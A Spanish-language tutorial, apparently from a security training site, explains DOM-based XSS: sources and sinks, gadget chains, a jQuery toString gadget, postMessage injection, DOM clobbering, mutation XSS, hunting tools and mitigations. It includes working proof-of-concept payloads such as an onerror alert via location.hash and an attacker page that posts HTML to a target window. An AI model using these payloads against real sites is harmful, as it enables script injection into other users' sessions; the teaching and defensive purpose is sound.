Respuesta rápida
DOM XSS ocurre cuando datos controlados por el atacante (location.hash, postMessage data, URL params) llegan a sinks peligrosos sin sanitización (innerHTML, eval, document.write, location.href). En 2025-2026 los vectores más rentables son gadgets en libraries populares (lodash, jQuery, helpers internos), postMessage handlers sin validar origin, y client-side routing roto que mete user input en eval.
Sources y sinks (refresher)
Sources — donde entra el atacante:
location.href, location.hash, location.search, location.pathname
document.URL, document.documentURI
document.referrer
document.cookie
window.name
postMessage e.data
localStorage / sessionStorage (si poblado por otro origin via XSS previo)
WebSockets messages
Sinks — donde se ejecuta:
// HTML rendering
element.innerHTML = userInput
element.outerHTML = userInput
document.write(userInput)
document.writeln(userInput)
// Code execution
eval(userInput)
Function(userInput)
setTimeout(userInput, 100)
setInterval(userInput, 100)
// URL navigation (XSS via javascript:)
location.href = userInput
location.assign(userInput)
location.replace(userInput)
window.open(userInput)
// Attribute setting (depending on element)
element.setAttribute('href', userInput)
element.src = userInput
DOM XSS clásico
// Source: location.hash
const param = location.hash.substring(1);
// Sink: innerHTML
document.getElementById('content').innerHTML = param;
Payload: https://target.tld/page#<img src=x onerror=alert(1)>.
Gadget chains modernos
A veces el flow no es directo. El input pasa por funciones del codebase que transforman pero no sanitizan:
const data = JSON.parse(decodeURIComponent(location.hash.substring(1)));
const html = renderTemplate(data); // template usa data.title sin escape
contentEl.innerHTML = html;
El payload necesita ser JSON válido + tener title con HTML.
CVE-2025-59840 — toString gadget en jQuery (ejemplo conceptual)
Algunas libs aplican String(input) o input.toString() sin escapar. Si input es un objeto con toString custom:
const payload = {
toString() { return "<img src=x onerror=alert(1)>"; }
};
$('#div').html(payload); // jQuery hace String(payload) → invoca toString → XSS
Útil cuando el sink valida tipo string pero acepta cualquier cosa stringificable.
postMessage XSS
Cuando un listener procesa e.data sin validar e.origin:
window.addEventListener('message', e => {
// ❌ NO valida e.origin
document.getElementById(e.data.target).innerHTML = e.data.html;
});
PoC del atacante:
// Página atacante
const win = window.open('https://target.tld/');
setTimeout(() => {
win.postMessage({
target: 'main-content',
html: '<img src=x onerror=alert(document.domain)>'
}, '*');
}, 2000);
Variante: si target acepta postMessage solo de mismo origin pero hay un iframe legítimo (CDN, embed), el atacante mete su iframe que apunta al CDN whitelisted con HTML controlado.
Ver el caso real "Zero-Click Message Injection via postMessage" en la Academy.
DOM Clobbering
HTML elements con id o name se acceden via window.<id> y document.<name>. Si un script hace:
const config = window.config || { strict: true };
Y la página tiene un <form id="config"> controlado por el atacante (ej. via Stored HTML injection en comentario), window.config apunta al form HTMLElement, no al objeto esperado.
<form id="config" name="strict"></form>
<input name="strict"> <!-- now window.config.strict es el input element -->
Consecuencia: lógica del JS rota → bypass de checks ("if config.strict do...").
Hash routing rotos
Apps SPA con routing client-side. Si el route handler hace:
const route = location.hash.substring(1).split('/');
const handler = routes[route[0]];
handler(route[1]); // route[1] es atacante-controlled
Si algún handler mete route[1] en innerHTML, eval o document.write → XSS.
Patrón frecuente: paths que aceptan parámetros usados en strings de error verbose:
/profile/<user_id> → document.title = "Profile of " + userId
→ Si userId tiene HTML y title se renderiza en algún DOM, XSS
Mutation XSS (mXSS)
El parser HTML del browser muta el HTML al insertarlo. Si la sanitización ocurre antes de la inserción y el browser muta el HTML al insertarlo, el resultado puede ser un XSS.
const sanitized = DOMPurify.sanitize(input); // input limpio
element.innerHTML = sanitized;
// Pero al insertarlo en context noscript/style/template, el browser parsea diferente
Vectores frecuentes: SVG con namespace mishandling, MathML, comments con caracteres especiales. Ver artículo dedicado a Mutation XSS.
Tooling
Burp DOM Invader
Built-in en Burp Pro. Inyecta canary en sources del DOM y rastrea hasta sinks. Detecta gadget chains automáticamente.
Static analysis
Para JS bundle:
# Buscar sinks peligrosos en código minificado
curl https://target.tld/main.abc123.js | grep -E '(innerHTML|outerHTML|document\.write|eval\(|Function\()' -n
Manual code review del bundle revela patrones específicos del codebase.
Dynamic testing
// Inyectar canary en cada source y verificar
location.hash = 'CANARY_HASH';
window.name = 'CANARY_NAME';
document.cookie = 'test=CANARY_COOKIE';
postMessage('CANARY_PM', '*');
// Buscar CANARY en innerHTML, eval, etc.
Hunting checklist
- ¿La app es SPA con routing client-side? Probar payloads en cada path segment.
- ¿Hay
location.hashparseado y usado en innerHTML/eval? - ¿postMessage listeners sin
e.origincheck? - ¿Window.name accesible cross-frame y usado dentro?
- ¿
document.cookieparseado y reflejado en DOM? - ¿Static review del bundle en busca de innerHTML, eval, document.write?
- ¿Hay templates client-side (Handlebars, Mustache, Lodash) con input sin escape?
- ¿
postMessageusatargetOrigin: "*"desde el iframe? - ¿Errores en consola que revelan estructura del estado (gadgets potenciales)?
Mitigación correcta
- Tratar todas las sources como user input. Sanitizar siempre antes de sink.
- Validar
e.originen cada postMessage handler. Allowlist explícita. - Usar
textContentnoinnerHTMLsalvo que necesites HTML. - DOMPurify correcta (no listas custom de allowed tags sin entender mXSS).
- CSP estricta:
script-src 'self',script-src-elem,script-src-attrpara bloquear inline. - Trusted Types API en navegadores modernos — fuerza sanitización tipada.
Labs relacionados
Practica gadget chains, postMessage XSS, DOM clobbering y mXSS en apps reales: labs de DOM XSS.
Practica esto en un lab
Dom Xss
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
postMessage — vulnerabilidades comunes: origin bypass, XSS sink, IDOR cross-window
Cómo identificar y explotar vulnerabilidades en window.postMessage(): listeners sin validación de origin, payloads JSON inseguros que llegan a DOM XSS, IDOR cross-origin.
DOM XSS — sources, sinks y gadgets para encadenar bypass de filtros
Mapa completo de sources (location, postMessage, document.referrer, localStorage) y sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets para construir payloads no detectables.
Client-side admin bypass — boolean manipulation + BAC en SPA moderna
Report real Quora: SPA con isAdmin boolean en localStorage que controla UI + backend que no valida server-side. Cómo encadenar boolean flip con BAC para admin takeover.